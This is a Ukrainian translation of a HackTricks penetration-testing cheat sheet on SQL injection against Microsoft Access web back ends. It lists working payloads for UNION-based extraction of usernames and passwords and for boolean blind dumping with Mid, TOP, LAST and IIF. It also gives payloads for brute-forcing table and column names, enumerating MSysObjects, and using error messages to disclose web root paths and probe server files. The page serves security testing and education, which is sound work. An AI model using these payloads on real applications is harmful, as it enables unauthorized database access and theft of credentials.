MS Access SQL Injection

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Онлайн майданчик

Обмеження БД

Конкатенація рядків

Конкатенація рядків можлива з використанням символів & (%26) та + (%2b).

sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Коментарі

У MS Access немає коментарів, але, очевидно, можливо видалити останній символ запиту за допомогою NULL символу:

sql
1' union select 1,2 from table%00

Якщо це не працює, ви завжди можете виправити синтаксис запиту:

sql
1' UNION SELECT 1,2 FROM table WHERE ''='

Складені запити

Вони не підтримуються.

LIMIT

Оператор LIMIT не реалізований. Однак, можливо обмежити результати запиту SELECT до перших N рядків таблиці, використовуючи оператор TOP. TOP приймає як аргумент ціле число, що представляє кількість рядків, які потрібно повернути.

sql
1' UNION SELECT TOP 3 attr FROM table%00

Так само, як і TOP, ви можете використовувати LAST, який отримає рядки з кінця.

UNION Запити/Підзапити

У SQLi ви зазвичай хочете якимось чином виконати новий запит, щоб витягти інформацію з інших таблиць. MS Access завжди вимагає, щоб у підзапитах або додаткових запитах був вказаний FROM.
Отже, якщо ви хочете виконати UNION SELECT або UNION ALL SELECT або SELECT в дужках у умові, вам завжди необхідно вказати FROM з дійсною назвою таблиці.
Отже, вам потрібно знати дійсну назву таблиці.

sql
-1' UNION SELECT username,password from users%00

Chaining equals + Substring

warning

Це дозволить вам ексфільтрувати значення поточної таблиці, не знаючи назви таблиці.

MS Access дозволяє незвичний синтаксис такий як '1'=2='3'='asd'=false. Як зазвичай, SQL-ін'єкція буде всередині WHERE клаузи, і ми можемо це зловживати.

Уявіть, що у вас є SQLi в базі даних MS Access, і ви знаєте (або здогадалися), що одна назва стовпця - username, і це поле, яке ви хочете ексфільтрувати. Ви могли б перевірити різні відповіді веб-додатку, коли використовується техніка зчеплення рівних, і потенційно ексфільтрувати вміст за допомогою булевої ін'єкції, використовуючи функцію Mid для отримання підрядків.

sql
'=(Mid(username,1,3)='adm')='

Якщо ви знаєте ім'я таблиці та стовпця, які потрібно вивантажити, ви можете використовувати комбінацію між Mid, LAST та TOP, щоб вивести всю інформацію через булевий SQLi:

sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Не соромтеся перевірити це в онлайн-плейграунді.

Брутфорсинг імен таблиць

Використовуючи техніку зв'язування рівних, ви також можете брутфорсити імена таблиць з чимось на зразок:

sql
'=(select+top+1+'lala'+from+<table_name>)='

Ви також можете використовувати більш традиційний спосіб:

sql
-1' AND (SELECT TOP 1 <table_name>)%00

Не соромтеся перевірити це в онлайн-плейграунді.

Брутфорсинг назв стовпців

Ви можете брутфорсити поточні назви стовпців за допомогою трюку з ланцюговими рівностями з:

sql
'=column_name='

Або з group by:

sql
-1' GROUP BY column_name%00

Або ви можете методом грубої сили отримати імена стовпців іншої таблиці за допомогою:

sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Вивантаження даних

Ми вже обговорювали техніку з'єднання рівних для вивантаження даних з поточної та інших таблиць. Але є й інші способи:

sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

В загальному, запит використовує оператор "if-then" для активації "200 OK" у випадку успіху або "500 Internal Error" в іншому випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє розглянути лише 10-й кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекс MID і TOP, ми можемо вивантажити вміст поля "username" для всіх рядків.

Time Based

Check https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Інші цікаві функції

  • Mid('admin',1,1) отримати підрядок з позиції 1 довжиною 1 (початкова позиція - 1)
  • LEN('1234') отримати довжину рядка
  • ASC('A') отримати ASCII значення символу
  • CHR(65) отримати рядок з ASCII значення
  • IIF(1=1,'a','b') якщо то
  • COUNT(*) підрахувати кількість елементів

Перерахування таблиць

З тут ви можете побачити запит для отримання назв таблиць:

sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Однак зверніть увагу, що дуже типово знаходити SQL-ін'єкції, коли ви не маєте доступу для читання таблиці MSysObjects.

Доступ до файлової системи

Повний шлях до кореневої директорії веб-сайту

Знання абсолютного шляху до кореневої директорії веб-сайту може полегшити подальші атаки. Якщо помилки програми не повністю приховані, шлях до директорії може бути виявлений, намагаючись вибрати дані з неіснуючої бази даних.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access відповідає повідомленням про помилку, що містить повний шлях до веб-директорії.

Перерахування файлів

Наступний вектор атаки може бути використаний для виведення існування файлу на віддаленій файловій системі. Якщо вказаний файл існує, MS Access викликає повідомлення про помилку, що інформує про те, що формат бази даних є недійсним:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Інший спосіб перерахування файлів полягає у вказуванні елемента database.table. Якщо вказаний файл існує, MS Access відображає повідомлення про помилку формату бази даних.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Вгадування імені файлу .mdb

Ім'я файлу бази даних (.mdb) можна вивести за допомогою наступного запиту:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Де name[i] є іменем файлу .mdb і realTable є існуючою таблицею в базі даних. Хоча MS Access завжди викликає повідомлення про помилку, можливо відрізнити недійсне ім'я файлу від дійсного імені файлу .mdb.

Крадій паролів .mdb

Access PassView - це безкоштовна утиліта, яка може бути використана для відновлення основного пароля бази даних Microsoft Access 95/97/2000/XP або Jet Database Engine 3.0/4.0.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks